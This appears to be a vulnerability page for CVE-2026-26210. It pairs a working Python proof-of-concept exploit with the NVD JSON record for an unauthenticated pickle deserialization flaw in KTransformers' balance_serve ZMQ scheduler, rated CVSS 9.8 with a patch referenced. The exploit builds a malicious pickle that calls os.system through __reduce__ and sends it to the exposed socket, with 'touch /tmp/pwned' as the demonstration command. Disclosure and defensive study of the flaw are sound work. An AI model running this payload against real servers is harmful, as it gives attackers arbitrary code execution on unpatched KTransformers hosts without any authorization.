CVE-2026-26210

import zmq import pickle import os def generate_payload(command): """Generates a malicious pickle payload.""" class Exploit(object): def __reduce__(self): # Execute the command on the target system return (os.system, (command,)) return pickle.dumps(Exploit()) def send_exploit(target_ip, target_port, command): """Sends the exploit to the vulnerable ZMQ server.""" context = zmq.Context() # Use DEALER socket to connect to ROUTER socket = context.socket(zmq.DEALER) socket.connect(f"tcp://{target_ip}:{target_port}") print(f"[*] Sending payload: {command}") payload = generate_payload(command) socket.send(payload) print("[+] Payload sent.") socket.close() context.term() if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 5555 COMMAND = "touch /tmp/pwned" send_exploit(TARGET_IP, TARGET_PORT, COMMAND)

{"cve": {"id": "CVE-2026-26210", "sourceIdentifier": "[email protected]", "published": "2026-04-23T22:16:26.400", "lastModified": "2026-05-05T14:43:28.873", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "KTransformers through 0.5.3 contains an unsafe deserialization vulnerability in the balance_serve backend mode where the scheduler RPC server binds a ZMQ ROUTER socket to all interfaces with no authentication and deserializes incoming messages using pickle.loads() without validation. Attackers can send a crafted pickle payload to the exposed ZMQ socket to execute arbitrary code on the server with the privileges of the ktransformers process."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kvcache-ai:ktransformers:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.5.3", "matchCriteriaId": "D4AAFB24-76AB-4600-9264-67B2445CA09C"}]}]}], "references": [{"url": "https://chocapikk.com/posts/2026/ktransformers-pickle-rce/", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://github.com/kvcache-ai/ktransformers/pull/1944", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://www.vulncheck.com/advisories/ktransformers-unsafe-deserialization-rce-via-balance-serve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}